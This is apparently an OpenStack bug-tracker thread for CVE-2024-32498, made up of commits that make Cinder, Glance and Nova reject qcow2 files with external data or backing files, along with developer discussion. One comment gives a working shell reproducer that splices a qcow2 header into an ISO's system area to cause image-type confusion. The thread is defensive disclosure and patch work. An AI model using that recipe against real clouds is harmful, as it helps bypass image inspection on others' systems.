Committed: https://opendev.org/openstack/cinder/commit/d6a186945e03649343af55b46ed8dfe0dd326e40
Submitter: "Zuul (22348)"
Branch: master

commit d6a186945e03649343af55b46ed8dfe0dd326e40
Author: Brian Rosmaita <email address hidden>
Date: Wed Jun 26 14:09:30 2024 -0400

    CVE-2024-32498: Check for external qcow2 data file

    Adds code to image_utils to check for a qcow2 external data
    file, a recent feature of qemu which we do not support and
    which can be used maliciously.

    Advice from the qemu-img community is that it is dangerous
    to call qemu-img info on untrusted files, so we copy over
    the format_inspector module from Glance. This performs basic
    analysis on the image data file so we can detect problematic
    images before we call qemu-img info to get all the image
    attributes. It is expected that this code will eventually be
    added to oslo so it can be consumed by Glance, Cinder, and
    Nova.

    Because cinder itself may create qcow2 format images with a
    backing file in nfs-based backends, the glance format_inspector
    has been modified to optionally allow such files. Since we are
    monkeying with the format_inspector code, we also copy over
    its unit tests to prevent regressions and to add tests for the
    changed code.

    Includes an additional fix to prevent an issue where a user
    could mount a raw volume and write a qcow2 header with a larger
    virtual size on it. On reattaching the volume it would have the
    new larger virtual size avaialable without actually changing
    the size value in cinder. While we cannot prevent this we can
    prevent the user from using this volume again, which makes this
    exploit pointless.

    Co-authored-by: Dan Smith <email address hidden>
    Co-authored-by: Felix Huettner <email address hidden>

    Change-Id: I65857288b797cde573e7443ac6e7e6f57fedde01
    Closes-bug: #2059809

[Felix Huettner (felix.huettner)]

Hi everyone,
we probably have found an additional regression by this fix when using openstack server resuce with a ISO file.

Reproduce:
1. Create a image with a ISO file and disk_format iso
2. Resuce (create probably also affected) a server using this image.

This raises "Image not in a supported format" in do_image_deep_inspection as we do not have a iso format inspector.

When implementing this inspector you can use the reference from here: http://wiki.osdev.org/ISO_9660
Most probably the following can be used for identification:
$ xxd -s 0x8001 -l 5 orig.iso
00008001: 4344 3030 31 CD001

When implementing this inspector please keep in mind that the first 32kb of a iso file are not actually part of the iso file itself, but free for other things to use: http://wiki.osdev.org/ISO_9660#System_Area
This can be used for image type confusion if you upload an iso file where the first 32kb are a qcow2 header. So the inspector for iso does not only need to check that it is a valid iso file, but also that the system area does not contain any other file headers.

Reproducer for this issue:

$ mkisofs -o orig.iso /etc/resolv.conf
$ qemu-img create orig.qcow2 -f qcow2 64M
$ dd if=orig.qcow2 of=outcome bs=32K count=1
$ dd if=orig.iso of=outcome bs=32K skip=1 seek=1
$ file outcome
outcome: ISO 9660 CD-ROM filesystem data 'CDROM'
$ qemu-img info outcome
image: outcome
file format: qcow2
virtual size: 64 MiB (67108864 bytes)
disk size: 348 KiB
cluster_size: 65536
Format specific information:
    compat: 1.1
    compression type: zlib
    lazy refcounts: false
    refcount bits: 16
    corrupt: false
    extended l2: false
Child node '/file':
    filename: outcome
    protocol type: file
    file length: 348 KiB (356352 bytes)
    disk size: 348 KiB

[Sylvain Bauza (sylvain-bauza)]

Felix, FWIW, I don't really know whether Glance was accepting ISO images, but if you want to continue using them, then you can change the configuration option we just added : [workarounds]/disable_deep_image_inspection=True

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923248
Committed: https://opendev.org/openstack/glance/commit/937f7d3e2959632813f5e0040946c6c2504f2fa0
Submitter: "Zuul (22348)"
Branch: master

commit 937f7d3e2959632813f5e0040946c6c2504f2fa0
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 08:06:31 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: I6326a3e85c1ba4cb1da944a4323769f2399ed2c1
    Closes-Bug: #2059809

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923249
Committed: https://opendev.org/openstack/glance/commit/58a9e15a8de420756c13323f70ec7d28f5496b49
Submitter: "Zuul (22348)"
Branch: master

commit 58a9e15a8de420756c13323f70ec7d28f5496b49
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 10:29:10 2024 -0700

    Extend format_inspector for QCOW safety

    This adds two properties to the QcowInspector that makes it able to
    indicate whether the file specifies a backing_file or data_file in the
    header. Both conditions are considered unsafe for our usage. To
    ease checking of this condition, a classmethod is added that takes
    a local filename and digests just enough of the file to assert that
    both conditions are false.

    Change-Id: Iaf86b525397d41bd116999cabe0954a0a7efac65
    Related-Bug: #2059809

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923251
Committed: https://opendev.org/openstack/glance/commit/797e30e602769a6084643b22a18f1834602c432c
Submitter: "Zuul (22348)"
Branch: master

commit 797e30e602769a6084643b22a18f1834602c432c
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 11:20:48 2024 -0700

    Reject unsafe qcow and vmdk files

    This causes us to use the format inspector to pre-examine qcow and
    vmdk files for safe configurations before even using qemu-img
    on them.

    Change-Id: I0554706368e573e11f649c09569f7c21cbc8634b
    Closes-Bug: #2059809

[sean mooney (sean-k-mooney)]

thanks for letting use know iso is not covered.
if other have edgecase that are allow but are vulnerable please do not add them as a comment to this bug.

iso are not currently accepted so by lack of support the vulnerability to having qcow in the system area
however if the format inspector was passing that this would have been a disclosure of an unpatched security bug...

if operators or disto maintianer find new issues in this space file a private security bug and reference this bug in the description so that we can assees the impact and handle it appropriately.

I'll start working on the iso inspector but for distos that have already released the current fix we will have to work on another full cve release and testing cycle for all supported releases.

this will be one additional patch on top of each series for each project to minimise impact

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/glance/+/923485

[sean mooney (sean-k-mooney)]

glance does accpat iso and you can use them to create instance as the root disk too.
we also need to support them for cinder so we need to update all 3 affected project to readd iso support

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/cinder/+/923245
Committed: https://opendev.org/openstack/cinder/commit/db98dc207060da234c32a563c13cac1edbd62952
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit db98dc207060da234c32a563c13cac1edbd62952
Author: Brian Rosmaita <email address hidden>
Date: Wed Jun 26 14:09:30 2024 -0400

    CVE-2024-32498: Check for external qcow2 data file

    Adds code to image_utils to check for a qcow2 external data
    file, a recent feature of qemu which we do not support and
    which can be used maliciously.

    Advice from the qemu-img community is that it is dangerous
    to call qemu-img info on untrusted files, so we copy over
    the format_inspector module from Glance. This performs basic
    analysis on the image data file so we can detect problematic
    images before we call qemu-img info to get all the image
    attributes. It is expected that this code will eventually be
    added to oslo so it can be consumed by Glance, Cinder, and
    Nova.

    Because cinder itself may create qcow2 format images with a
    backing file in nfs-based backends, the glance format_inspector
    has been modified to optionally allow such files. Since we are
    monkeying with the format_inspector code, we also copy over
    its unit tests to prevent regressions and to add tests for the
    changed code.

    Includes an additional fix to prevent an issue where a user
    could mount a raw volume and write a qcow2 header with a larger
    virtual size on it. On reattaching the volume it would have the
    new larger virtual size avaialable without actually changing
    the size value in cinder. While we cannot prevent this we can
    prevent the user from using this volume again, which makes this
    exploit pointless.

    Co-authored-by: Dan Smith <email address hidden>
    Co-authored-by: Felix Huettner <email address hidden>

    Change-Id: I65857288b797cde573e7443ac6e7e6f57fedde01
    Closes-bug: #2059809
    (cherry picked from commit b207be3278f3dab6cfe945bd3d307db168f6f6c7)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923259
Committed: https://opendev.org/openstack/glance/commit/35c7e85d40ae00b29ae13cb5b9dc2743baf34bf3
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit 35c7e85d40ae00b29ae13cb5b9dc2743baf34bf3
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 08:06:31 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: I6326a3e85c1ba4cb1da944a4323769f2399ed2c1
    Closes-Bug: #2059809
    (cherry picked from commit 2ca29af4433e9fa99a0a48e230d8d25d6eaa4a87)

[Thomas Goirand (thomas-goirand)]

Hi Sylvain,

Regarding your comment #301, I do not agree that setting:
[workarounds]/disable_deep_image_inspection=True

is the solution. Uploading an ISO image is a very common, and legitimate use case. For example, some of our users are using it to boot a backup recovery (Acronis) software, and restore their instance this way. Being forced to disable the image inspection is *not* a solution that works for a public cloud.

So this really is a regression that IMO should be fixed.

Cheers,

Thomas

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923258
Committed: https://opendev.org/openstack/nova/commit/08be7b2a0dc1d7728d8034bc2aab0428c4fb642e
Submitter: "Zuul (22348)"
Branch: master

commit 08be7b2a0dc1d7728d8034bc2aab0428c4fb642e
Author: Dan Smith <email address hidden>
Date: Mon Jul 1 09:06:40 2024 -0700

    Fix vmdk_allowed_types checking

    This restores the vmdk_allowed_types checking in create_image()
    that was unintentionally lost by tightening the
    qemu-type-matches-glance code in the fetch patch recently. Since we
    are still detecting the format of base images without metadata, we
    would have treated a vmdk file that claims to be raw as raw in fetch,
    but then read it like a vmdk once it was used as a base image for
    something else.

    Change-Id: I07b332a7edb814f6a91661651d9d24bfd6651ae7
    Related-Bug: #2059809

[Dan Smith (danms)]

At the rate we're finding new cracks in our fragile image/disk handling code, I would definitely not recommend disabling deep inspection to get around something as minor as not being able to rescue with iso. Remember, even if you have the qemu patches applied, that only prevents the info command from exposing the data-file exploit. If we allow anything else to run on a vulnerable image, that won't help you.

EDIT: for posterity, let me clarify that I'm agreeing with Zigo in saying we obviously need to fix the ISO thing

[sean mooney (sean-k-mooney)]

i alsso agree disabling the insepction is not a valid workaround.

i have already started fixing the iso handling locally and will be pushing ptaches for that once functional

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923260
Committed: https://opendev.org/openstack/glance/commit/7a6c344c8b9d60c89e324e11c2edac8e2ad4a229
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit 7a6c344c8b9d60c89e324e11c2edac8e2ad4a229
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 10:29:10 2024 -0700

    Extend format_inspector for QCOW safety

    This adds two properties to the QcowInspector that makes it able to
    indicate whether the file specifies a backing_file or data_file in the
    header. Both conditions are considered unsafe for our usage. To
    ease checking of this condition, a classmethod is added that takes
    a local filename and digests just enough of the file to assert that
    both conditions are false.

    Change-Id: Iaf86b525397d41bd116999cabe0954a0a7efac65
    Related-Bug: #2059809
    (cherry picked from commit ae536bb394793c9a7a219cb498e03d5c81dbbbb7)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923262
Committed: https://opendev.org/openstack/glance/commit/f482a92f5acb53938466b47302449f6871a754a0
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit f482a92f5acb53938466b47302449f6871a754a0
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 11:20:48 2024 -0700

    Reject unsafe qcow and vmdk files

    This causes us to use the format inspector to pre-examine qcow and
    vmdk files for safe configurations before even using qemu-img
    on them.

    Change-Id: I0554706368e573e11f649c09569f7c21cbc8634b
    Closes-Bug: #2059809
    (cherry picked from commit a95f335bca1dfdd1c904ae475e9fe8c6806f2c56)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923273
Committed: https://opendev.org/openstack/nova/commit/58d933eafb3f7164419000700a305c8f75d5cb6e
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit 58d933eafb3f7164419000700a305c8f75d5cb6e
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 07:32:11 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: Ic3fa16f55acc38cf6c1a4ac1dce4487225e66d04
    Closes-Bug: #2059809
    (cherry picked from commit ec9c55cbbc91d1f31e42ced289a7c82cf79dc2a2)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923274
Committed: https://opendev.org/openstack/nova/commit/f07fa55fd86726eeafcd4c0c687bc49dd4df9f4c
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit f07fa55fd86726eeafcd4c0c687bc49dd4df9f4c
Author: Dan Smith <email address hidden>
Date: Wed Apr 17 07:06:13 2024 -0700

    Check images with format_inspector for safety

    It has been asserted that we should not be calling qemu-img info
    on untrusted files. That means we need to know if they have a
    backing_file, data_file or other unsafe configuration *before* we use
    qemu-img to probe or convert them.

    This grafts glance's format_inspector module into nova/images so we
    can use it to check the file early for safety. The expectation is that
    this will be moved to oslo.utils (or something) later and thus we will
    just delete the file from nova and change our import when that happens.

    NOTE: This includes whitespace changes from the glance version of
    format_inspector.py because of autopep8 demands.

    Change-Id: Iaefbe41b4c4bf0cf95d8f621653fdf65062aaa59
    Closes-Bug: #2059809
    (cherry picked from commit 9cdce715945619fc851ab3f43c97fab4bae4e35a)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923276
Committed: https://opendev.org/openstack/nova/commit/11301e7e3f0d81a3368632f90608e30d9c647111
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit 11301e7e3f0d81a3368632f90608e30d9c647111
Author: Dan Smith <email address hidden>
Date: Mon Jul 1 09:06:40 2024 -0700

    Fix vmdk_allowed_types checking

    This restores the vmdk_allowed_types checking in create_image()
    that was unintentionally lost by tightening the
    qemu-type-matches-glance code in the fetch patch recently. Since we
    are still detecting the format of base images without metadata, we
    would have treated a vmdk file that claims to be raw as raw in fetch,
    but then read it like a vmdk once it was used as a base image for
    something else.

    Change-Id: I07b332a7edb814f6a91661651d9d24bfd6651ae7
    Related-Bug: #2059809
    (cherry picked from commit 08be7b2a0dc1d7728d8034bc2aab0428c4fb642e)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/cinder/+/923247
Committed: https://opendev.org/openstack/cinder/commit/5f5e86e3542866227b7339713148b5169d069f21
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit 5f5e86e3542866227b7339713148b5169d069f21
Author: Brian Rosmaita <email address hidden>
Date: Wed Jun 26 14:09:30 2024 -0400

    CVE-2024-32498: Check for external qcow2 data file

    Adds code to image_utils to check for a qcow2 external data
    file, a recent feature of qemu which we do not support and
    which can be used maliciously.

    Advice from the qemu-img community is that it is dangerous
    to call qemu-img info on untrusted files, so we copy over
    the format_inspector module from Glance. This performs basic
    analysis on the image data file so we can detect problematic
    images before we call qemu-img info to get all the image
    attributes. It is expected that this code will eventually be
    added to oslo so it can be consumed by Glance, Cinder, and
    Nova.

    Because cinder itself may create qcow2 format images with a
    backing file in nfs-based backends, the glance format_inspector
    has been modified to optionally allow such files. Since we are
    monkeying with the format_inspector code, we also copy over
    its unit tests to prevent regressions and to add tests for the
    changed code.

    Includes an additional fix to prevent an issue where a user
    could mount a raw volume and write a qcow2 header with a larger
    virtual size on it. On reattaching the volume it would have the
    new larger virtual size avaialable without actually changing
    the size value in cinder. While we cannot prevent this we can
    prevent the user from using this volume again, which makes this
    exploit pointless.

    Co-authored-by: Dan Smith <email address hidden>
    Co-authored-by: Felix Huettner <email address hidden>

    Change-Id: I65857288b797cde573e7443ac6e7e6f57fedde01
    Closes-bug: #2059809
    (cherry picked from commit d6a186945e03649343af55b46ed8dfe0dd326e40)
    (cherry picked from commit db98dc207060da234c32a563c13cac1edbd62952)
    (cherry picked from commit 9e667b02b2c20b4ada18c1a472be152956284d45)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/cinder/+/923246
Committed: https://opendev.org/openstack/cinder/commit/9e667b02b2c20b4ada18c1a472be152956284d45
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 9e667b02b2c20b4ada18c1a472be152956284d45
Author: Brian Rosmaita <email address hidden>
Date: Wed Jun 26 14:09:30 2024 -0400

    CVE-2024-32498: Check for external qcow2 data file

    Adds code to image_utils to check for a qcow2 external data
    file, a recent feature of qemu which we do not support and
    which can be used maliciously.

    Advice from the qemu-img community is that it is dangerous
    to call qemu-img info on untrusted files, so we copy over
    the format_inspector module from Glance. This performs basic
    analysis on the image data file so we can detect problematic
    images before we call qemu-img info to get all the image
    attributes. It is expected that this code will eventually be
    added to oslo so it can be consumed by Glance, Cinder, and
    Nova.

    Because cinder itself may create qcow2 format images with a
    backing file in nfs-based backends, the glance format_inspector
    has been modified to optionally allow such files. Since we are
    monkeying with the format_inspector code, we also copy over
    its unit tests to prevent regressions and to add tests for the
    changed code.

    Includes an additional fix to prevent an issue where a user
    could mount a raw volume and write a qcow2 header with a larger
    virtual size on it. On reattaching the volume it would have the
    new larger virtual size avaialable without actually changing
    the size value in cinder. While we cannot prevent this we can
    prevent the user from using this volume again, which makes this
    exploit pointless.

    Co-authored-by: Dan Smith <email address hidden>
    Co-authored-by: Felix Huettner <email address hidden>

    Change-Id: I65857288b797cde573e7443ac6e7e6f57fedde01
    Closes-bug: #2059809
    (cherry picked from commit d6a186945e03649343af55b46ed8dfe0dd326e40)
    (cherry picked from commit db98dc207060da234c32a563c13cac1edbd62952)

[Sylvain Bauza (sylvain-bauza)]

Sorry folks, I understand and I agree about not checking the workaround option, I just tried to help here in case it was urgent. Sure, let's rather merge the ISO fix.

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923266
Committed: https://opendev.org/openstack/glance/commit/87a98f0d25a3b3948d3d49ffad354934589442a3
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 87a98f0d25a3b3948d3d49ffad354934589442a3
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 08:06:31 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: I6326a3e85c1ba4cb1da944a4323769f2399ed2c1
    Closes-Bug: #2059809
    (cherry picked from commit 2ca29af4433e9fa99a0a48e230d8d25d6eaa4a87)
    (cherry picked from commit c3586f3a122f6cb0663217b12b52203e74e2e4fa)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923267
Committed: https://opendev.org/openstack/glance/commit/733d771a73bffaf1501c7a1d91829646daf1372b
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 733d771a73bffaf1501c7a1d91829646daf1372b
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 10:29:10 2024 -0700

    Extend format_inspector for QCOW safety

    This adds two properties to the QcowInspector that makes it able to
    indicate whether the file specifies a backing_file or data_file in the
    header. Both conditions are considered unsafe for our usage. To
    ease checking of this condition, a classmethod is added that takes
    a local filename and digests just enough of the file to assert that
    both conditions are false.

    Change-Id: Iaf86b525397d41bd116999cabe0954a0a7efac65
    Related-Bug: #2059809
    (cherry picked from commit ae536bb394793c9a7a219cb498e03d5c81dbbbb7)
    (cherry picked from commit 2eba54e0821106097dfeceb424e53943fd090483)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923269
Committed: https://opendev.org/openstack/glance/commit/c23730304a107927a5677c8f1887c84d241b8afd
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit c23730304a107927a5677c8f1887c84d241b8afd
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 11:20:48 2024 -0700

    Reject unsafe qcow and vmdk files

    This causes us to use the format inspector to pre-examine qcow and
    vmdk files for safe configurations before even using qemu-img
    on them.

    Change-Id: I0554706368e573e11f649c09569f7c21cbc8634b
    Closes-Bug: #2059809
    (cherry picked from commit a95f335bca1dfdd1c904ae475e9fe8c6806f2c56)
    (cherry picked from commit 55fc42563818fcf88b474233df242a796c918b3a)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923284
Committed: https://opendev.org/openstack/nova/commit/736328f78fb88b6d567b94b50cd14b3ebef08a5e
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 736328f78fb88b6d567b94b50cd14b3ebef08a5e
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 07:32:11 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: Ic3fa16f55acc38cf6c1a4ac1dce4487225e66d04
    Closes-Bug: #2059809
    (cherry picked from commit ec9c55cbbc91d1f31e42ced289a7c82cf79dc2a2)
    (cherry picked from commit 58d933eafb3f7164419000700a305c8f75d5cb6e)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923285
Committed: https://opendev.org/openstack/nova/commit/0acf5ee7b5dfb6ff0f9a9745f5ad2a0ed2bf65bf
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 0acf5ee7b5dfb6ff0f9a9745f5ad2a0ed2bf65bf
Author: Dan Smith <email address hidden>
Date: Wed Apr 17 07:06:13 2024 -0700

    Check images with format_inspector for safety

    It has been asserted that we should not be calling qemu-img info
    on untrusted files. That means we need to know if they have a
    backing_file, data_file or other unsafe configuration *before* we use
    qemu-img to probe or convert them.

    This grafts glance's format_inspector module into nova/images so we
    can use it to check the file early for safety. The expectation is that
    this will be moved to oslo.utils (or something) later and thus we will
    just delete the file from nova and change our import when that happens.

    NOTE: This includes whitespace changes from the glance version of
    format_inspector.py because of autopep8 demands.

    Change-Id: Iaefbe41b4c4bf0cf95d8f621653fdf65062aaa59
    Closes-Bug: #2059809
    (cherry picked from commit 9cdce715945619fc851ab3f43c97fab4bae4e35a)
    (cherry picked from commit f07fa55fd86726eeafcd4c0c687bc49dd4df9f4c)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923277
Committed: https://opendev.org/openstack/glance/commit/dba3bdb458aa8a5d0193f12b7f1e374a89ed34a2
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit dba3bdb458aa8a5d0193f12b7f1e374a89ed34a2
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 08:06:31 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: I6326a3e85c1ba4cb1da944a4323769f2399ed2c1
    Closes-Bug: #2059809
    (cherry picked from commit 2ca29af4433e9fa99a0a48e230d8d25d6eaa4a87)
    (cherry picked from commit c3586f3a122f6cb0663217b12b52203e74e2e4fa)
    (cherry picked from commit a92c438fb5ba55440b38cae7c8b4361b58daa9dd)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923278
Committed: https://opendev.org/openstack/glance/commit/4860024286256b028fabc5ed50274934c3dfdd8a
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit 4860024286256b028fabc5ed50274934c3dfdd8a
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 10:29:10 2024 -0700

    Extend format_inspector for QCOW safety

    This adds two properties to the QcowInspector that makes it able to
    indicate whether the file specifies a backing_file or data_file in the
    header. Both conditions are considered unsafe for our usage. To
    ease checking of this condition, a classmethod is added that takes
    a local filename and digests just enough of the file to assert that
    both conditions are false.

    Change-Id: Iaf86b525397d41bd116999cabe0954a0a7efac65
    Related-Bug: #2059809
    (cherry picked from commit ae536bb394793c9a7a219cb498e03d5c81dbbbb7)
    (cherry picked from commit 2eba54e0821106097dfeceb424e53943fd090483)
    (cherry picked from commit 89dbbc838d606f461087e1494d19ddbcf9db0a38)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923280
Committed: https://opendev.org/openstack/glance/commit/c1c54abeaba91ae0030d4acf01a91339b60a2d7d
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit c1c54abeaba91ae0030d4acf01a91339b60a2d7d
Author: Dan Smith <email address hidden>
Date: Tue Apr 16 11:20:48 2024 -0700

    Reject unsafe qcow and vmdk files

    This causes us to use the format inspector to pre-examine qcow and
    vmdk files for safe configurations before even using qemu-img
    on them.

    Change-Id: I0554706368e573e11f649c09569f7c21cbc8634b
    Closes-Bug: #2059809
    (cherry picked from commit a95f335bca1dfdd1c904ae475e9fe8c6806f2c56)
    (cherry picked from commit 55fc42563818fcf88b474233df242a796c918b3a)
    (cherry picked from commit f1f53075d69a9a1c006b3e25506e30eb0210de1f)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923288
Committed: https://opendev.org/openstack/nova/commit/af4d819c606d6662d0b086365a51f5220b596e48
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit af4d819c606d6662d0b086365a51f5220b596e48
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 07:32:11 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: Ic3fa16f55acc38cf6c1a4ac1dce4487225e66d04
    Closes-Bug: #2059809
    (cherry picked from commit ec9c55cbbc91d1f31e42ced289a7c82cf79dc2a2)
    (cherry picked from commit 58d933eafb3f7164419000700a305c8f75d5cb6e)
    (cherry picked from commit 736328f78fb88b6d567b94b50cd14b3ebef08a5e)

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923574

[OpenStack Infra (hudson-openstack)]

Related fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923575

[OpenStack Infra (hudson-openstack)]

Change abandoned by "Pranali Deore <email address hidden>" on branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/glance/+/923575
Reason: since missing cherry picked from commit

[OpenStack Infra (hudson-openstack)]

Change abandoned by "Pranali Deore <email address hidden>" on branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/glance/+/923574
Reason: since missing cherry picked from commit

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923287
Committed: https://opendev.org/openstack/nova/commit/70a435fd519a0ebcc3ac9ad5254fefbf19c93e48
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 70a435fd519a0ebcc3ac9ad5254fefbf19c93e48
Author: Dan Smith <email address hidden>
Date: Mon Jul 1 09:06:40 2024 -0700

    Fix vmdk_allowed_types checking

    This restores the vmdk_allowed_types checking in create_image()
    that was unintentionally lost by tightening the
    qemu-type-matches-glance code in the fetch patch recently. Since we
    are still detecting the format of base images without metadata, we
    would have treated a vmdk file that claims to be raw as raw in fetch,
    but then read it like a vmdk once it was used as a base image for
    something else.

    Change-Id: I07b332a7edb814f6a91661651d9d24bfd6651ae7
    Related-Bug: #2059809
    (cherry picked from commit 08be7b2a0dc1d7728d8034bc2aab0428c4fb642e)
    (cherry picked from commit 11301e7e3f0d81a3368632f90608e30d9c647111)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923289
Committed: https://opendev.org/openstack/nova/commit/67e5376dd64407f5aaf1ea5f8c896e356064a2c9
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit 67e5376dd64407f5aaf1ea5f8c896e356064a2c9
Author: Dan Smith <email address hidden>
Date: Wed Apr 17 07:06:13 2024 -0700

    Check images with format_inspector for safety

    It has been asserted that we should not be calling qemu-img info
    on untrusted files. That means we need to know if they have a
    backing_file, data_file or other unsafe configuration *before* we use
    qemu-img to probe or convert them.

    This grafts glance's format_inspector module into nova/images so we
    can use it to check the file early for safety. The expectation is that
    this will be moved to oslo.utils (or something) later and thus we will
    just delete the file from nova and change our import when that happens.

    NOTE: This includes whitespace changes from the glance version of
    format_inspector.py because of autopep8 demands.

    Change-Id: Iaefbe41b4c4bf0cf95d8f621653fdf65062aaa59
    Closes-Bug: #2059809
    (cherry picked from commit 9cdce715945619fc851ab3f43c97fab4bae4e35a)
    (cherry picked from commit f07fa55fd86726eeafcd4c0c687bc49dd4df9f4c)
    (cherry picked from commit 0acf5ee7b5dfb6ff0f9a9745f5ad2a0ed2bf65bf)

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/glance/+/923485
Committed: https://opendev.org/openstack/glance/commit/867d1dd8b6e4f5774257a98c7c33061fbbbde973
Submitter: "Zuul (22348)"
Branch: master

commit 867d1dd8b6e4f5774257a98c7c33061fbbbde973
Author: Pranali Deore <email address hidden>
Date: Thu Jul 4 09:59:18 2024 +0000

    Add releasenote for CVE-2024-32498 fix

    Related-Bug: #2059809
    Change-Id: I3259dd013ba5e3fefd0e172bf0e7cc502158c8db

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923291
Committed: https://opendev.org/openstack/nova/commit/f732f8476851e6272d8ad9937f54b918795844e8
Submitter: "Zuul (22348)"
Branch: stable/2023.1

commit f732f8476851e6272d8ad9937f54b918795844e8
Author: Dan Smith <email address hidden>
Date: Mon Jul 1 09:06:40 2024 -0700

    Fix vmdk_allowed_types checking

    This restores the vmdk_allowed_types checking in create_image()
    that was unintentionally lost by tightening the
    qemu-type-matches-glance code in the fetch patch recently. Since we
    are still detecting the format of base images without metadata, we
    would have treated a vmdk file that claims to be raw as raw in fetch,
    but then read it like a vmdk once it was used as a base image for
    something else.

    Change-Id: I07b332a7edb814f6a91661651d9d24bfd6651ae7
    Related-Bug: #2059809
    (cherry picked from commit 08be7b2a0dc1d7728d8034bc2aab0428c4fb642e)
    (cherry picked from commit 11301e7e3f0d81a3368632f90608e30d9c647111)
    (cherry picked from commit 70a435fd519a0ebcc3ac9ad5254fefbf19c93e48)

[Jeremy Stanley (fungi)]

All changes linked in the advisory are now merged in their final states to their respective branches.

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/c/openstack/nova/+/923297
Committed: https://opendev.org/openstack/nova/commit/d69d441cf5d82f69d8ed7d555a6af73624866400
Submitter: "Zuul (22348)"
Branch: unmaintained/zed

commit d69d441cf5d82f69d8ed7d555a6af73624866400
Author: Dan Smith <email address hidden>
Date: Mon Apr 1 07:32:11 2024 -0700

    Reject qcow files with data-file attributes

    Change-Id: Ic3fa16f55acc38cf6c1a4ac1dce4487225e66d04
    Closes-Bug: #2059809
    (cherry picked from commit ec9c55cbbc91d1f31e42ced289a7c82cf79dc2a2)
    (cherry picked from commit 58d933eafb3f7164419000700a305c8f75d5cb6e)
    (cherry picked from commit 736328f78fb88b6d567b94b50cd14b3ebef08a5e)
